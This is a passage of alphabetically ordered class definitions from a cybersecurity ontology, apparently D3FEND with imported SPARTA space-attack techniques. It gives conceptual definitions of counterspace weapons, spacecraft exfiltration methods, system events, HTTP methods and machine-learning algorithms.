definition: A direct-ascent ASAT is often the most commonly thought of threat to space assets. It typically involves a medium- or long-range missile launching from the Earth to damage or destroy a satellite in orbit. This form of attack is often easily attributed due to the missile launch which can be easily detected. Due to the physical nature of the attacks, they are irreversible and provide the attacker with near real-time confirmation of success. Direct-ascent ASATs create orbital debris which can be harmful to other objects in orbit. Lower altitudes allow for more debris to burn up in the atmosphere, while attacks at higher altitudes result in more debris remaining in orbit, potentially damaging other spacecraft in orbit.* *https://aerospace.csis.org/aerospace101/counterspace-weapons-101
subclass of: Kinetic Physical Attack - SPARTA
preferred label: Direct Ascent ASAT

Co-Orbital ASAT - SPARTA
type: Class
attack-id: EX-0017.02
definition: Co-orbital ASAT attacks are when another satellite in orbit is used to attack. The attacking satellite is first placed into orbit, then later maneuvered into an intercepting orbit. This form of attack requires a sophisticated on-board guidance system to successfully steer into the path of another satellite. A co-orbital attack can be a simple space mine with a small explosive that follows the orbital path of the targeted satellite and detonates when within range. Another co-orbital attack strategy is using a kinetic-kill vehicle (KKV), which is any object that can be collided into a target satellite.* *https://aerospace.csis.org/aerospace101/counterspace-weapons-101
subclass of: Kinetic Physical Attack - SPARTA
preferred label: Co-Orbital ASAT

Electromagnetic Pulse (EMP) - SPARTA
type: Class
attack-id: EX-0018.01
definition: An EMP, such as those caused by high-altitude detonation of certain bombs, is an indiscriminate form of attack in space. For example, a nuclear detonation in space releases an electromagnetic pulse (EMP) that would have near immediate consequences for the satellites within range. The detonation also creates a high radiation environment that accelerates the degradation of satellite components in the affected orbits.* *https://aerospace.csis.org/aerospace101/counterspace-weapons-101
subclass of: EX-0018
preferred label: Electromagnetic Pulse (EMP)

High-Powered Laser - SPARTA
type: Class
attack-id: EX-0018.02
definition: A high-powered laser can be used to permanently or temporarily damage critical satellite components (i.e. solar arrays or optical centers). If directed toward a satellite’s optical center, the attack is known as blinding or dazzling. Blinding, as the name suggests, causes permanent damage to the optics of a satellite. Dazzling causes temporary loss of sight for the satellite. While there is clear attribution of the location of the laser at the time of the attack, the lasers used in these attacks may be mobile, which can make attribution to a specific actor more difficult because the attacker does not have to be in their own nation, or even continent, to conduct such an attack. Only the satellite operator will know if the attack is successful, meaning the attacker has limited confirmation of success, as an attacked nation may not choose to announce that their satellite has been attacked or left vulnerable for strategic reasons. A high-powered laser attack can also leave the targeted satellite disabled and uncontrollable, which could lead to collateral damage if the satellite begins to drift. A higher-powered laser may permanently damage a satellite by overheating its parts. The parts most susceptible to this are satellite structures, thermal control panels, and solar panels.* *https://aerospace.csis.org/aerospace101/counterspace-weapons-101
subclass of: EX-0018
preferred label: High-Powered Laser

High-Powered Microwave - SPARTA
type: Class
attack-id: EX-0018.03
definition: High-powered microwave (HPM) weapons can be used to disrupt or destroy a satellite’s electronics. A “front-door” HPM attack uses a satellite’s own antennas as an entry path, while a “back-door” attack attempts to enter through small seams or gaps around electrical connections and shielding. A front-door attack is more straightforward to carry out, provided the HPM is positioned within the field of view of the antenna that it is using as a pathway, but it can be thwarted if the satellite uses circuits designed to detect and block surges of energy entering through the antenna. In contrast, a back-door attack is more challenging, because it must exploit design or manufacturing flaws, but it can be conducted from many angles relative to the satellite. Both types of attacks can be either reversible or irreversible; however, the attacker may not be able to control the severity of the damage from the attack. Both front-door and back-door HPM attacks can be difficult to attribute to an attacker, and like a laser weapon, the attacker may not know if the attack has been successful. A HPM attack may leave the target satellite disabled and uncontrollable which can cause it to drift into other satellites, creating further collateral damage.* *https://aerospace.csis.org/aerospace101/counterspace-weapons-101
subclass of: EX-0018
preferred label: High-Powered Microwave

Replay - SPARTA
type: Class
attack-id: EXF-0001
definition: Threat actors may exfiltrate data by replaying commands and capturing the telemetry or payload data as it is sent down. One scenario would be the threat actor replays commands to downlink payload data once the spacecraft is within certain location so the data can be intercepted on the downlink by threat actor ground terminals.
subclass of: SPARTAExfiltrationTechnique
preferred label: Replay

Power Analysis Attacks - SPARTA
type: Class
attack-id: EXF-0002.01
definition: Threat actors can analyze power consumption on-board the spacecraft to exfiltrate information. In power analysis attacks, the threat actor studies the power consumption of devices, especially cryptographic modules. Power analysis attacks require close proximity to a sensor node, such that a threat actor can measure the power consumption of the sensor node. There are two types of power analysis, namely simple power analysis (SPA) and differential power analysis (DPA). In differential power analysis, the threat actor studies the power analysis and is able to apply mathematical and statistical principles to determine the intermediate values.
subclass of: EXF-0002
preferred label: Power Analysis Attacks

Electromagnetic Leakage Attacks - SPARTA
type: Class
attack-id: EXF-0002.02
definition: Threat actors can leverage electromagnetic emanations to obtain sensitive information. The electromagnetic radiations attain importance when they are hardware generated emissions, especially emissions from the cryptographic module. Electromagnetic leakage attacks have been shown to be more successful than power analysis attacks on chicards. If proper protections are not in place on the spacecraft, the circuitry is exposed and hence leads to stronger emanations of EM radiations. If the circuitry is exposed, it provides an easier environment to study the electromagnetic emanations from each individual component.
subclass of: EXF-0002
preferred label: Electromagnetic Leakage Attacks

Traffic Analysis Attacks - SPARTA
type: Class
attack-id: EXF-0002.03
definition: In a terrestrial environment, threat actors use traffic analysis attacks to analyze traffic flow to gather topological information. This traffic flow can divulge information about critical nodes, such as the aggregator node in a sensor network. In the space environment, specifically with relays and constellations, traffic analysis can be used to understand the energy capacity of spacecraft node and the fact that the transceiver component of a spacecraft node consumes the most power. The spacecraft nodes in a constellation network limit the use of the transceiver to transmit or receive information either at a regulated time interval or only when an event has been detected. This generally results in an architecture comprising some aggregator spacecraft nodes within a constellation network. These spacecraft aggregator nodes are the sensor nodes whose primary purpose is to relay transmissions from nodes toward the ground station in an efficient manner, instead of monitoring events like a normal node. The added functionality of acting as a hub for information gathering and preprocessing before relaying makes aggregator nodes an attractive target to side channel attacks. A possible side channel attack could be as simple as monitoring the occurrences and duration of computing activities at an aggregator node. If a node is frequently in active states (instead of idle states), there is high probability that the node is an aggregator node and also there is a high probability that the communication with the node is valid. Such leakage of information is highly undesirable because the leaked information could be strategically used by threat actors in the accumulation phase of an attack.
subclass of: EXF-0002
preferred label: Traffic Analysis Attacks

Timing Attacks - SPARTA
type: Class
attack-id: EXF-0002.04
definition: Threat actors can leverage timing attacks to exfiltrate information due to variances in the execution timing for different sub-systems in the spacecraft (i.e., cryptosystem). In spacecraft, due to the utilization of processors with lower processing powers (i.e. slow), this becomes all the more important because slower processors will enhance even small difference in computation time. Every operation in a spacecraft takes time to execute, and the time can differ based on the input; with precise measurements of the time for each operation, a threat actor can work backwards to the input. Finding secrets through timing information may be significantly easier than using cryptanalysis of known plaintext, ciphertext pairs. Sometimes timing information is combined with cryptanalysis to increase the rate of information leakage.
subclass of: EXF-0002
preferred label: Timing Attacks

Thermal Imaging attacks - SPARTA
type: Class
attack-id: EXF-0002.05
definition: Threat actors can leverage thermal imaging attacks (e.g., infrared images) to measure heat that is emitted as a means to exfiltrate information from spacecraft processors. Thermal attacks rely on temperature profiling using sensors to extract critical information from the chip(s). The availability of highly sensitive thermal sensors, infrared cameras, and techniques to calculate power consumption from temperature distribution [7] has enhanced the effectiveness of these attacks. As a result, side-channel attacks can be performed by using temperature data without measuring power pins of the chip.
subclass of: EXF-0002
preferred label: Thermal Imaging attacks

Uplink Exfiltration - SPARTA
type: Class
attack-id: EXF-0003.01
definition: Threat actors may target the uplink connection from the victim ground infrastructure to the target spacecraft in order to exfiltrate commanding data. Depending on the implementation (i.e., encryption) the captured uplink data can be used to further other attacks like command link intrusion, replay, etc.
subclass of: Signal Interception - SPARTA
preferred label: Uplink Exfiltration

Downlink Exfiltration - SPARTA
type: Class
attack-id: EXF-0003.02
definition: Threat actors may target the downlink connection from the victim spacecraft in order to exfiltrate telemetry or payload data. This data can include health information of the spacecraft or mission data that is being collected/analyzed on the spacecraft. Downlinked data can even include mirrored command sessions which can be used for future campaigns or to help perpetuate other techniques.
subclass of: Signal Interception - SPARTA
preferred label: Downlink Exfiltration

Out-of-Band Communications Link - SPARTA
type: Class
attack-id: EXF-0004
definition: Threat actors may attempt to exfiltrate data via the out-of-band communication channels. While performing eavesdropping on the primary/second uplinks and downlinks is a method for exfiltration, some spacecrafts leverage out-of-band communication links to perform actions on the spacecraft (i.e., re-keying). These out-of-band links would occur on completely different channels/frequencies and often operate on separate hardware on the spacecraft. Typically these out-of-band links have limited built-for-purpose functionality and likely do not present an initial access vector but they do provide ample exfiltration opportunity.
subclass of: SPARTAExfiltrationTechnique
preferred label: Out-of-Band Communications Link

Proximity Operations - SPARTA
type: Class
attack-id: EXF-0005
definition: Threat actors may leverage the lack of emission security or tempest controls to exfiltrate information using a visiting spacecraft. This is similar to side-channel attacks but leveraging a visiting spacecraft to measure the signals for decoding purposes.
subclass of: SPARTAExfiltrationTechnique
preferred label: Proximity Operations

Software Defined Radio - SPARTA
type: Class
attack-id: EXF-0006.01
definition: Threat actors may target software defined radios due to their software nature to setup exfiltration channels. Since SDRs are programmable, when combined with supply chain or development environment attacks, SDRs provide a pathway to setup covert exfiltration channels for a threat actor.
subclass of: Modify Communications Configuration - SPARTA
preferred label: Software Defined Radio

Transponder - SPARTA
type: Class
attack-id: EXF-0006.02
definition: Threat actors may change the transponder configuration to exfiltrate data via radio access to an attacker-controlled asset.
subclass of: Modify Communications Configuration - SPARTA
preferred label: Transponder

Compromised Ground System - SPARTA
type: Class
attack-id: EXF-0007
definition: Threat actors may compromise target owned ground systems that can be used for future campaigns or to perpetuate other techniques. These ground systems have already been configured for communications to the victim spacecraft. By compromising this infrastructure, threat actors can stage, launch, and execute an operation. Threat actors may utilize these systems for various tasks, including Execution and Exfiltration.
subclass of: SPARTAExfiltrationTechnique
preferred label: Compromised Ground System

Compromised Developer Site - SPARTA
type: Class
attack-id: EXF-0008
definition: Threat actors may compromise development environments located within the ground system or a developer/partner site. This attack can take place in a number of different ways, including manipulation of source code, manipulating environment variables, or replacing compiled versions with a malicious one. This technique is usually performed before the target spacecraft is in orbit, with the hopes of adding malicious code to the actual FSW during the development process.
subclass of: SPARTAExfiltrationTechnique
preferred label: Compromised Developer Site

Compromised Partner Site - SPARTA
type: Class
attack-id: EXF-0009
definition: Threat actors may compromise access to partner sites that can be used for future campaigns or to perpetuate other techniques. These sites are typically configured for communications to the primary ground station(s) or in some cases the spacecraft itself. Unlike mission operated ground systems, partner sites may provide an easier target for threat actors depending on the company, roles and responsibilities, and interests of the third-party. By compromising this infrastructure, threat actors can stage, launch, and execute an operation. Threat actors may utilize these systems for various tasks, including Execution and Exfiltration.
subclass of: SPARTAExfiltrationTechnique
preferred label: Compromised Partner Site

Payload Communication Channel - SPARTA
type: Class
attack-id: EXF-0010
definition: Threat actors can deploy malicious software on the payload(s) which can send data through the payload channel. Payloads often have their own communication channels outside of the main TT&C pathway which presents an opportunity for exfiltration of payload data or other spacecraft data depending on the interface and data exchange.
subclass of: SPARTAExfiltrationTechnique
preferred label: Payload Communication Channel

Electrical Signal
type: Class
definition: Time-varying voltage or current that carries information.
subclass of: Signal

Electromagnetic Signal
type: Class
definition: An electromagnetic wave that carries information.
subclass of: Signal

Electronic Combination Lock Event
type: Class
comment: An event occuring when combination lock's bolt changes position.
see also: NRC Regulatory Guide 5.12 Rev1
subclass of: Restriction
  on property: has-participant
  some values from: ElectronicCombinationLock
subclass of: PhysicalAccessAlarmEvent

Email Attachment
type: Class
type: NamedIndividual
attached-to: Email
definition: An email attachment is a computer file sent along with an email message. One or more files can be attached to any email message, and be sent along with it to the recipient. This is typically used as a simple method to share documents and images.
subclass of: Restriction
  on property: attached-to
  some values from: Email
subclass of: DocumentFile

Email Receive Event
type: Class
definition: An event where an email is delivered to a recipient's mail server or mailbox. This includes receiving messages from internal or external sources via protocols such as IMAP, POP3, or their secure variants.
subclass of: Restriction
  on property: preceded-by
  some values from: Email Send Event
subclass of: EmailEvent

Email Scan Event
type: Class
definition: An event where an email is inspected or analyzed for content, security, or compliance purposes. Scanning often involves identifying spam, detecting malware, or ensuring policy adherence before delivery or after reception.
subclass of: EmailEvent

Embedded Database Application
type: Class
type: NamedIndividual
definition: A software application that integrates a database management system (DBMS) directly within its own structure, rather than relying on a separate, standalone database server. Examples include SQLite and Berkeley DB.
executes: DatabaseQuery
manages: Database
subclass of: Restriction
  on property: manages
  some values from: Database
subclass of: Restriction
  on property: executes
  some values from: DatabaseQuery
subclass of: DatabaseApplication

Enclave
type: Class
type: NamedIndividual
definition: Network enclaves consist of standalone assets that do not interact with other information systems or networks. A major difference between a DMZ or demilitarized zone and a network enclave is a DMZ allows inbound and outbound traffic access, where firewall boundaries are traversed. In an enclave, firewall boundaries are not traversed. Enclave protection tools can be used to provide protection within specific security domains. These mechanisms are installed as part of an Intranet to connect networks that have similar security requirements.
may-contain: LocalAreaNetwork
subclass of: Restriction
  on property: may-contain
  some values from: LocalAreaNetwork
subclass of: DigitalInformationBearer
alternative label: Network Enclave

Encoder Application
type: Class
definition: An application that encodes digital data.
subclass of: Codec Application

Encrypted Password
type: Class
definition: A password that is encrypted.
subclass of: EncryptedCredential
subclass of: Password

Epistemic Logic
type: Class
type: NamedIndividual
d3fend-id: D3A-EL
definition: Epistemic logic addresses modalities of knowledge; i.e., the certainty of sentences.
kb-article: ## References 1. Epistemic logic. (2023, June 4). In _Wikipedia_. [Link](https://en.wikipedia.org/wiki/Modal_logic#Epistemic_logic)
synonym: Epistemic Modal Logic
subclass of: ModalLogic

Event Log Archive Event
type: Class
definition: An event involving the archiving of event log data, typically to preserve historical records in a compressed or secure format.
subclass of: EventLogEvent

Event Log Clear Event
type: Class
definition: An event where the event log data is cleared from the system, often as part of log maintenance or potentially to cover tracks.
subclass of: EventLogEvent

Event Log Delete Event
type: Class
definition: An event where the event log database, file, or cache is deleted from the system, removing the log's historical records.
subclass of: EventLogEvent

Event Log Disable Event
type: Class
definition: An event indicating that the event logging service has been disabled, preventing it from collecting or recording logs.
subclass of: Restriction
  on property: preceded-by
  some values from: Event Log Enable Event
subclass of: EventLogEvent

Event Log Export Event
type: Class
definition: An event representing the export of event log data to a file or external system for backup or analysis purposes.
subclass of: EventLogEvent

Event Log Restart Event
type: Class
definition: An event representing the restarting of the event logging service, often performed during system maintenance or troubleshooting.
subclass of: Restriction
  on property: preceded-by
  some values from: Event Log Stop Event
subclass of: Restriction
  on property: precedes
  some values from: Event Log Start Event
subclass of: EventLogEvent

Event Log Rotate Event
type: Class
definition: An event where the event log is rotated, often as part of log rotation policies to manage storage and ensure continuity.
subclass of: EventLogEvent

Eviction Event
type: Class
type: NamedIndividual
definition: An event describing actions to remove adversaries or malicious resources from a system, re-establishing security and operational integrity.
related: Evict
subclass of: Restriction
  on property: preceded-by
  some values from: Detection Event
subclass of: SecurityEvent

Exact Matching
type: Class
type: NamedIndividual
d3fend-id: D3A-EM
definition: Exact matching for numeric types is just the simple test for mathematical equivalence of the values being matched.
kb-article: ## References 1. Equality (mathematics). (2023, May 31). In _Wikipedia_. [Link](https://en.wikipedia.org/wiki/Equality_(mathematics)]
synonym: Numeric Equivalence Matching
subclass of: Equivalence Matching
subclass of: NumericPatternMatching

Exception Handler
type: Class
definition: An exception handler is a code segment that processes an exception.
subclass of: Subroutine

Expectation-maximization Clustering
type: Class
type: NamedIndividual
d3fend-id: D3A-EMC
definition: An unsupervised clustering algorithm and extends to NLP applications like Latent Dirichlet Allocation, the Baum-Welch algorithm for Hidden Markov Models, and medical imaging.
kb-article: ## References Towards Data Science. (n.d.). Expectation Maximization Explained. [Link](https://towardsdatascience.com/expectation-maximization-explained-c82f5ed438e5#:~:text=Expectation%20Maximization%20(EM)%20is%20a,Markov%20Models%2C%20and%20medical%20imaging.)
subclass of: Distribution-based Clustering

Expected Error Reduction
type: Class
type: NamedIndividual
d3fend-id: D3A-EER
definition: Expected Error Reduction (EER) follows similar ideas as EMC, but again looks at the model output instead of the model itself and also takes the other data into account. In particular, a sample x is considered useful, if we can expect that knowing the label will reduce the future error on unseen samples
kb-article: ## References Intro to Active Learning. inovex Blog. [Link](https://www.inovex.de/de/blog/intro-to-active-learning/).
subclass of: ActiveLearning

Expected Model Change
type: Class
type: NamedIndividual
d3fend-id: D3A-EMC
definition: Supervised learning establishes a relationship between the known input and output variables to conduct a predictive analysis.
kb-article: nal Consiterations ## References Intro to Active Learning. inovex Blog. [Link](https://www.inovex.de/de/blog/intro-to-active-learning/).
subclass of: ActiveLearning

FQDN Domain Name
type: DomainName
type: NamedIndividual

FTP Delete Event
type: Class
definition: An event where files or directories are removed from an FTP server, resulting in their permanent deletion from the remote system.
subclass of: Restriction
  on property: preceded-by
  some values from: FTPPutEvent
subclass of: FTPEvent

FTP Get Event
type: Class
definition: An event where a file is downloaded from an FTP server to a client, retrieving data from the remote system to the local destination.
subclass of: Restriction
  on property: preceded-by
  some values from: FTPPutEvent
subclass of: FTPEvent

FTP List Event
type: Class
definition: An event where the contents of a directory on an FTP server are listed, providing metadata such as file names, sizes, and timestamps.
subclass of: FTPEvent

FTP Poll Event
type: Class
definition: An event where a client queries an FTP server to check for the presence of specific files or directories without initiating a transfer.
subclass of: FTPEvent

FTP Rename Event
type: Class
definition: An event where files or directories on an FTP server are renamed, modifying their identifiers without altering their content or location.
subclass of: Restriction
  on property: preceded-by
  some values from: FTPPutEvent
subclass of: FTPEvent

Fast Symbolic Link
type: Class
definition: Fast symbolic links, allow storage of the target path within the data structures used for storing file information on disk (e.g., within the inodes). This space normally stores a list of disk block addresses allocated to a file. Thus, symlinks with short target paths are accessed quickly. Systems with fast symlinks often fall back to using the original method if the target path exceeds the available inode space.
subclass of: SymbolicLink
subclass of: UnixLink
disjoint with: SlowSymbolicLink
alternative label: Fast Symlink

File Content Block Metadata
type: Class
definition: Content Blocks may contain metadata specific to the block's content at the beginning.
subclass of: FileMetadata

File Copy Event
type: Class
definition: An event where a file is duplicated, creating a new file in a different location or under a different name while preserving the original file's content and attributes.
subclass of: Restriction
  on property: preceded-by
  some values from: FileAccessEvent
subclass of: FileCreationEvent

File Decryption Event
type: Class
definition: An event where a previously encrypted file is decoded, rendering its content accessible to authorized users or processes.
subclass of: Restriction
  on property: preceded-by
  some values from: File Encryption Event
subclass of: FileEvent

File Deletion Event
type: Class
definition: An event where a file is permanently removed from the file system or storage medium, potentially triggering actions related to data retention or recovery.
subclass of: FileEvent

File Footer Block Content
type: Class
definition: The content of a footer block not including the signature.
subclass of: FileMetadata

File Footer Block Signature
type: Class
definition: A sequence of bytes used to identify and validate the footer section within a file.
subclass of: FileMetadata

File Get Attributes Event
type: Class
definition: An event where a file's metadata attributes, such as size, creation date, or type, are queried or retrieved without altering its content.
subclass of: Restriction
  on property: preceded-by
  some values from: FileCreationEvent
subclass of: Restriction
  on property: preceded-by
  some values from: FileAccessEvent
subclass of: FileEvent

File Get Permissions Event
type: Class
definition: An event where a file's security settings or access control list (ACL) is retrieved, detailing permissions granted to users or processes.
subclass of: Restriction
  on property: preceded-by
  some values from: FileCreationEvent
subclass of: FileEvent

File Header Block Content
type: Class
definition: The content of a header block not including the signature.
subclass of: FileMetadata

File Renaming Event
type: Class
definition: An event representing the renaming of a file, modifying its identifier within the file system while retaining its content and metadata.
subclass of: Restriction
  on property: preceded-by
  some values from: FileAccessEvent
subclass of: Restriction
  on property: preceded-by
  some values from: FileCreationEvent
subclass of: FileEvent

File Server
type: Class
definition: The term server highlights the role of the machine in the traditional client-server scheme, where the clients are the workstations using the storage. A file server does not normally perform computational tasks or run programs on behalf of its client workstations. File servers are commonly found in schools and offices, where users use a local area network to connect their client computers.
subclass of: Server

File Set Attributes Event
type: Class
definition: An event where a file's metadata attributes are modified, such as changing its timestamps, labels, or categorization within the system.
subclass of: Restriction
  on property: preceded-by
  some values from: FileAccessEvent
subclass of: Restriction
  on property: preceded-by
  some values from: FileCreationEvent
subclass of: FileEvent

File Set Permissions Event
type: Class
definition: An event involving the modification of a file's permissions or access control list (ACL), specifying which users or processes are granted or restricted access.
subclass of: Restriction
  on property: preceded-by
  some values from: FileCreationEvent
subclass of: FileEvent

File Share Service
type: Class
definition: A file sharing service (or file share service) provides the ability to share data across a network.
subclass of: NetworkService

File System Sensor
type: Class
type: NamedIndividual
definition: Collects files and file metadata on an endpoint.
monitors: File
subclass of: Restriction
  on property: monitors
  some values from: File
subclass of: EndpointSensor

File Unmount Event
type: Class
definition: An event where a file system or storage volume is unmounted, disconnecting its files and directories from the operating system or applications.
subclass of: Restriction
  on property: preceded-by
  some values from: File Mount Event
subclass of: FileEvent

File Update Event
type: Class
definition: An event involving changes to the content or metadata of an existing file, reflecting updates that alter its state or properties.
subclass of: Restriction
  on property: preceded-by
  some values from: FileCreationEvent
subclass of: Restriction
  on property: preceded-by
  some values from: FileAccessEvent
subclass of: FileEvent

Finger Print Scanner Input Device
type: Class
definition: A fingerprint sensor is an electronic device used to capture a digital image of the fingerprint pattern. The captured image is called a live scan. This live scan is digitally processed to create a biometric template (a collection of extracted features) which is stored and used for matching. Many technologies have been used including optical, capacitive, RF, thermal, piezoresistive, ultrasonic, piezoelectric, and MEMS.
subclass of: ImageScannerInputDevice
alternative label: Fingerprint Sensor

Firmware Sensor
type: Class
type: NamedIndividual
definition: Collects information on firmware installed on an Endpoint.
monitors: Firmware
subclass of: Restriction
  on property: monitors
  some values from: Firmware
subclass of: EndpointSensor

First-order Logic
type: Class
type: NamedIndividual
d3fend-id: D3A-FOL
definition: First-order logic is a collection of formal systems used in mathematics, philosophy, linguistics, and computer science. First-order logic uses quantified variables over non-logical objects, and allows the use of sentences that contain variables.
kb-article: ## How it works For propositions such as "Socrates is a man", one can have expressions in the form "there exists x such that x is Socrates and x is a man", where "there exists" is a quantifier, while x is a variable. This distinguishes it from propositional logic, which does not use quantifiers or relations. The term "first-order" distinguishes first-order logic from higher-order logic, in which there are predicates having predicates or functions as arguments, or in which quantification over predicates, functions, or both, are permitted. ## Considerations - Advantages: -- First-order logic is more expressive than propositional logic; one can talk about objects and their properties, relations between objects. -- First-order logic is able to make use of variables and quantifiers (e.g., "for all" and "exists".) -- First-order logic supports power forms of reasoning, such as inferring the properties of an unknown object from the properties of known objects. - Disadvantages: -- First-order logic is more difficult to learn and use than propositional logic, due to its greater complexity. -- First-order logic is also less tractable than propositional logic in many cases; reasoning about quantifiers and variables adds complexity. -- First-order logic can be difficult to apply in practice, due to the need to find appropriate axioms and rules for each application. ### Verification Approach - Automated theorem provers can assist in formal verification, performing automated reasoning over system modeled in first-order logic and explore a complete space of system behaviors - First-order logic may be more expressive than necessary for many types of problems and may be more difficult to verify by SMEs. - Theorem provers based in FOL are capable of use in software verification tasks, but an SMT solver such as Z3 might be more appropriate. - Defining a set of competency questions (i.e., query use cases for a first-order logic ontology) can help scope the logic required for a complete…
synonym: FOL
synonym: First-order Predicate Calculus
synonym: Quantificational Logic
subclass of: PredicateLogic

First-stage Boot Loader
type: Class
definition: The very first routine run in order to load the operating system.
subclass of: BootLoader

Flash Memory
type: Class
definition: Flash memory is an electronic non-volatile computer memory storage medium that can be electrically erased and reprogrammed.
subclass of: SecondaryStorage

Forward Proxy Server
type: Class
definition: An forward (or open) proxy is a proxy server that is accessible by any Internet user. Generally, a proxy server only allows users within a network group (i.e. a closed proxy) to store and forward Internet services such as DNS or web pages to reduce and control the bandwidth used by the group. With an open proxy, however, any user on the Internet is able to use this forwarding service.
subclass of: ProxyServer

Full Volume Snapshot
type: Class
definition: A full volume snapshot is a point-in-time copy of the complete contents of a volume.
subclass of: VolumeSnapshot

Fuzzy Logic
type: Class
type: NamedIndividual
d3fend-id: D3A-FL
definition: Fuzzy logic is a form of many-valued logic in which the truth value of variables may be any real number between 0 and 1.
kb-article: ## How it works It is employed to handle the concept of partial truth, where the truth value may range between completely true and completely false.[1] By contrast, in Boolean logic, the truth values of variables may only be the integer values 0 or 1. ## References 1. Fuzzy logic. (2023, May 28). In _Wikipedia_. [Link](https://en.wikipedia.org/wiki/Fuzzy_logic)
subclass of: SymbolicAI

GPT
type: Class
type: NamedIndividual
d3fend-id: D3A-GPT
definition: Generative pre-trained transformers (GPT) are a type of large language model (LLM) and a prominent framework for generative artificial intelligence.
kb-article: ## References Generative pre-trained transformer. (n.d.). In Wikipedia. [Link](https://en.wikipedia.org/wiki/Generative_pre-trained_transformer)
synonym: Generative Pre-trained Transformer
subclass of: Transformer-basedLearning

Gated Recurrent Unit
type: Class
type: NamedIndividual
d3fend-id: D3A-GRU
definition: The GRU is like a long short-term memory (LSTM) with a forget gate, but has fewer parameters than LSTM, as it lacks an output gate. GRU's performance on certain tasks of polyphonic music modeling, speech signal modeling and natural language processing was found to be similar to that of LSTM
kb-article: ## References Wikipedia. (2021, September 20). Gated Recurrent Unit. [Link](https://en.wikipedia.org/wiki/Gated_recurrent_unit)
subclass of: RecurrentNeuralNetwork

Get Foreground Window
type: GetOpenWindows
type: NamedIndividual

Goodman and Kruskal's Gamma
type: Class
type: NamedIndividual
d3fend-id: D3A-GAKG
definition: Goodman-Kruskal $\\gamma$ is a measure of rank correlation between x and y and is given by $(n_c -n_d) / (n_c + n_d)$, where $n_c$ is the number of concordant pairs of the observations and $n_d$ is the number of discordant pairs.
kb-article: ## References 1. Wolfram Research. (2012). GoodmanKruskalGamma. Wolfram Language function. [Link](https://reference.wolfram.com/language/ref/GoodmanKruskalGamma.html) 1. Goodman and Kruskal's gamma. (2022, Nov 23). In _Wikipedia_. [Link](https://en.wikipedia.org/wiki/Goodman_and_Kruskal%27s_gamma]
subclass of: RankCorrelationCoefficient

Gradient-Boosted Decision Tree
type: Class
type: NamedIndividual
d3fend-id: D3A-GBDT
definition: A gradient-boosted decision tree is, as in other bagging and boosting methods, a method where the relatively 'weak' machine learning model (a decision tree) is used in an ensemble to form a 'strong' machine learning model.
kb-article: ## Reference 1. Google. (28 Sep 2023). Gradient Boosted Decision Trees. [Link](https://developers.google.com/machine-learning/decision-forests/intro-to-gbdt).
subclass of: CART

Graph-based Semi-supervised Learning
type: Class
type: NamedIndividual
d3fend-id: D3A-GBSSL
definition: Graph-based Semi-Supervised Learning (GSSL) methods aim to classify unlabeled data by learning the graph structure and labeled data jointly.
kb-article: ## References Yang, S., Pan, L., & Cheng, J. (2021). Graph-based Semi-Supervised Learning Methods for Imbalanced Data Classification. [Link](https://www.sciencedirect.com/science/article/pii/S0031320321002132?viewFullText=true).
subclass of: Semi-supervised Transductive Learning

Graphics Processing Unit
type: Class
type: NamedIndividual
contains: GraphicsCardFirmware
definition: A Graphics Processing Unit (GPU) is a specialized processor designed to efficiently perform parallel computations, primarily for rendering graphics and visual data.
synonym: GPU
subclass of: Restriction
  on property: contains
  some values from: GraphicsCardFirmware
subclass of: Processor

Grid-CNN
type: Class
type: NamedIndividual
d3fend-id: D3A-GC
definition: A class of neural networks that specializes in processing data that has a grid-like topology, such as an image.
kb-article: ## References Talukdar, P. (2020, June 10). Convolutional Neural Networks Explained. Towards Data Science. [Link](https://towardsdatascience.com/convolutional-neural-networks-explained-9cc5188c4939)
subclass of: Convolutional Neural Network

Grid-based Clustering
type: Class
type: NamedIndividual
d3fend-id: D3A-GBC
definition: Divides the entire data space into a finite number of cells reducing the complexity of the data and focuses on the cells rather than the data.
kb-article: ## References TechVidvan. (n.d.). Clustering in Machine Learning Tutorial. [Link](https://techvidvan.com/tutorials/clustering-in-machine-learning/)
subclass of: High-dimensionClustering

Group Deletion Event
type: Class
definition: An event where an existing group is permanently removed from the system, dissolving its associated memberships and privileges.
subclass of: Restriction
  on property: preceded-by
  some values from: GroupCreationEvent
subclass of: GroupManagementEvent

HTTP CONNECT Event
type: Class
definition: An event where the HTTP CONNECT method is used to establish a tunnel to the server identified by the target resource.
subclass of: HTTPRequestEvent

HTTP DELETE Event
type: Class
definition: An event where the HTTP DELETE method is used to delete the specified resource.
subclass of: HTTPRequestEvent

HTTP GET Event
type: Class
definition: An event where the HTTP GET method is used to request a representation of the specified resource.
subclass of: HTTPRequestEvent

HTTP HEAD Event
type: Class
definition: An event where the HTTP HEAD method is used to request metadata about the specified resource without the response body.
subclass of: HTTPRequestEvent

HTTP OPTIONS Event
type: Class
definition: An event where the HTTP OPTIONS method is used to describe the communication options for the target resource.
subclass of: HTTPRequestEvent

HTTP POST Event
type: Class
definition: An event where the HTTP POST method is used to submit data to the specified resource, often causing a change in state or side effects on the server.
subclass of: HTTPRequestEvent

HTTP PUT Event
type: Class
definition: An event where the HTTP PUT method is used to replace all current representations of the target resource with the request payload.
subclass of: HTTPRequestEvent

HTTP Response Event
type: Class
definition: An event where an HTTP response is sent from a server to a client over an established TCP connection.
subclass of: Restriction
  on property: preceded-by
  some values from: HTTPRequestEvent
subclass of: HTTPEvent

HTTPS URL
type: URL
type: NamedIndividual

HTTP TRACE Event
type: Class
definition: An event where the HTTP TRACE method is used to perform a message loop-back test along the path to the target resource.
subclass of: HTTPRequestEvent

HTTP URL
type: URL
type: NamedIndividual

Hard Disk Firmware
type: Class
definition: Firmware that is installed on a hard disk device.
subclass of: PeripheralFirmware
alternative label: Hard Drive Firmware

Hardening Event
type: Class
type: NamedIndividual
definition: An event involving actions to strengthen defenses, such as applying patches or implementing secure configurations, reducing attack surfaces, and increasing the difficulty of exploitation by adversaries.
related: Harden
subclass of: SecurityEvent

Hardware Device Disabled Event
type: Class
definition: An event where a device transitions to an inactive or unavailable state, often due to deactivation, failure, or maintenance.
subclass of: Restriction
  on property: preceded-by
  some values from: Hardware Device Enabled Event
subclass of: HardwareDeviceStateEvent

Hardware Device Disconnection Event
type: Class
definition: An event representing the removal of a device from a system, ceasing its operational functionality or availability.
subclass of: Restriction
  on property: preceded-by
  some values from: HardwareDeviceConnectionEvent
subclass of: HardwareDeviceStateEvent

Hardware Device Move Event
type: Class
definition: An event where a device is relocated or reassigned within a system or network, potentially affecting its operational scope or connectivity.
subclass of: HardwareDeviceStateEvent

Hardware Device Unbind Event
type: Class
definition: An event where a device is logically unbound from a system or process, releasing it from exclusive use or integration.
